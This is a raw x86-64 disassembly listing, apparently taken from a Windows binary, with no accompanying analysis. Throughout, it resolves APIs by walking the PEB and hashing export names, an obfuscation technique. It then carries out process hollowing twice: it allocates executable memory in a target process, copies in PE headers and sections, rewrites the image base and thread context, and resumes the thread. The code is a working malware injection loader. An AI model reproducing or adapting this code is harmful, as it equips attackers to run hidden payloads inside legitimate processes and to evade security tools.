lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x325731c2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c531
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c510
cmp r8d, 0xf18409ba
je 0x14007c53b
test r9d, r9d
jne 0x14007c4f0
mov rax, qword [rax]
jmp 0x14007c4c0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c606
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c606
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xf8ae39c5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007c601
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007c5e0
cmp r8d, 0x46fd3e7e
je 0x14007c60b
test r9d, r9d
jne 0x14007c5c0
mov rcx, qword [rcx]
jmp 0x14007c590
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2690]
call r8
test eax, eax
je 0x14007cb4b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007c6c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c6c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x8a837751
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c6c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c6a0
cmp r8d, 0x4c197e88
je 0x14007c6cb
test r9d, r9d
jne 0x14007c680
mov rax, qword [rax]
jmp 0x14007c650
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x2688]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007c796
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c796
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xee9cb5c6
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007c791
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007c770
cmp r8d, 0x58f46129
je 0x14007c79b
test r9d, r9d
jne 0x14007c750
mov rcx, qword [rcx]
jmp 0x14007c720
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x2688]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x14007c9c9
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007c886
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c886
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xc5b34d54
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c881
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c860
cmp r8d, 0x5643c9bb
je 0x14007c88b
test r9d, r9d
jne 0x14007c840
mov rax, qword [rax]
jmp 0x14007c810
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x2688]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007c966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x4f68a565
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c961
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c940
cmp r8d, 0xe426c5ca
je 0x14007c96b
test r9d, r9d
jne 0x14007c920
mov rax, qword [rax]
jmp 0x14007c8f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x2688]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x14007c7f0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ca66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ca66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3991aaeb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ca61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ca40
cmp r8d, 0xa75c7ac4
je 0x14007ca6b
test r9d, r9d
jne 0x14007ca20
mov rax, qword [rax]
jmp 0x14007c9f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2690]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007cb26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007cb26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4d1a4775
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cb21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cb00
cmp r8d, 0x9a0d68fe
je 0x14007cb2b
test r9d, r9d
jne 0x14007cae0
mov rax, qword [rax]
jmp 0x14007cab0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2690]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007cbd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007cbd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x586aec56
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cbd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cbb0
cmp r8d, 0x9bb35ec
je 0x14007cbdb
test r9d, r9d
jne 0x14007cb90
mov rax, qword [rax]
jmp 0x14007cb60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2688]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007cc86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007cc86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd5eeccec
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cc81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cc60
cmp r8d, 0x6d885ff6
je 0x14007cc8b
test r9d, r9d
jne 0x14007cc40
mov rax, qword [rax]
jmp 0x14007cc10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2690]
call rdx
nop
lea rcx, [rbp + 0x2988]
call fcn.140090180
nop
lea rcx, [rbp + 0x2cb8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2b], 1
jne 0x14007d78c
lea rcx, [rbp + 0x2b58]
call fcn.140090c70
nop
lea rcx, [rbp + 0x27]
call fcn.1400876b0
mov rcx, rax
call fcn.14008bc10
mov rdx, rax
lea rcx, [rbp + 0x2b58]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2970]
call fcn.140062500
lea rdx, [rbp + 0x2b58]
lea rcx, [rbp + 0x22c8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2970]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2970]
call fcn.140090170
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x26a0], xmm0
mov qword [rbp + 0x26b0], rcx
xorps xmm1, xmm1
movups xmmword [rbp + 0x3220], xmm1
movups xmmword [rbp + 0x3230], xmm1
movups xmmword [rbp + 0x3240], xmm1
movups xmmword [rbp + 0x3250], xmm1
movups xmmword [rbp + 0x3260], xmm1
movups xmmword [rbp + 0x3270], xmm1
mov qword [rbp + 0x3280], rcx
movsxd r14, dword [rax + 0x3c]
add r14, rax
mov qword [rsp + 0x68], r14
cmp dword [r14], 0x4550
jne 0x14007d76c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007ce46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ce46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x2e5c72bd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ce41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ce20
cmp r8d, 0xa8304cc5
je 0x14007ce4b
test r9d, r9d
jne 0x14007ce00
mov rax, qword [rax]
jmp 0x14007cdd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x52c0]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007cf06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007cf06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xf8d24988
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cf01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cee0
cmp r8d, 0x86eb3a0
je 0x14007cf0b
test r9d, r9d
jne 0x14007cec0
mov rax, qword [rax]
jmp 0x14007ce90
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x26a0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3220]
mov qword [rsp + 0x40], rax
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x52c0]
xor ecx, ecx
call r10
test eax, eax
je 0x14007d76c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007cff6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007cff6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x9ac58ccf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cff1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cfd0
cmp r8d, 0x56d27f6b
je 0x14007cffb
test r9d, r9d
jne 0x14007cfb0
mov rax, qword [rax]
jmp 0x14007cf80
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007d0c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d0c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xa22929b7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007d0c1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007d0a0
cmp r8d, 0x4fe6927c
je 0x14007d0cb
test r9d, r9d
jne 0x14007d080
mov rcx, qword [rcx]
jmp 0x14007d050
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26a8]
call r8
test eax, eax
je 0x14007d60b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007d186
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d186
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x2589ea2f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d181
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d160
cmp r8d, 0xe3d738f6
je 0x14007d18b
test r9d, r9d
jne 0x14007d140
mov rax, qword [rax]
jmp 0x14007d110
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r14 + 0x50]
lea r13, [r14 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x26a0]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007d256
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d256
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xcc3edc04
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007d251
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007d230
cmp r8d, 0xe87a504b
je 0x14007d25b
test r9d, r9d
jne 0x14007d210
mov rcx, qword [rcx]
jmp 0x14007d1e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r15
mov rbx, qword [rbp + 0x2800]
mov r8, rbx
mov rdx, r12
mov rcx, qword [rbp + 0x26a0]
call r10
xor eax, eax
cmp ax, word [r14 + 6]
jae 0x14007d490
mov r14d, eax
nop dword [rax]
nop word [rax + rax]
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007d346
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d346
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x724226de
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d341
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d320
cmp r8d, 0xd02ee3c1
je 0x14007d34b
test r9d, r9d
jne 0x14007d300
mov rax, qword [rax]
jmp 0x14007d2d0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [rsi + r14 + 0x118]
mov r8d, dword [rsi + r14 + 0x11c]
add r8, qword [rbp + 0x2800]
mov edx, dword [rsi + r14 + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x26a0]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007d426
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d426
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x5d1fa7da
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d421
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d400
cmp r8d, 0xc18f6905
je 0x14007d42b
test r9d, r9d
jne 0x14007d3e0
mov rax, qword [rax]
jmp 0x14007d3b0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x26a0]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
mov rbx, qword [rbp + 0x2800]
jb 0x14007d2b0
mov r14, qword [rsp + 0x68]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007d526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x3df7947
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d521
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d500
cmp r8d, 0x9f542920
je 0x14007d52b
test r9d, r9d
jne 0x14007d4e0
mov rax, qword [rax]
jmp 0x14007d4b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x26a8]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007d5e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d5e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x59e89b11
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d5e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d5c0
cmp r8d, 0xba24ee02
je 0x14007d5eb
test r9d, r9d
jne 0x14007d5a0
mov rax, qword [rax]
jmp 0x14007d570
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x26a8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007d696
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007d696
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x41058e30
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007d691
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007d670
cmp r8d, 0xbc1652fa
je 0x14007d69b
test r9d, r9d
jne 0x14007d650
mov rax, qword [rax]
jmp 0x14007d620
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
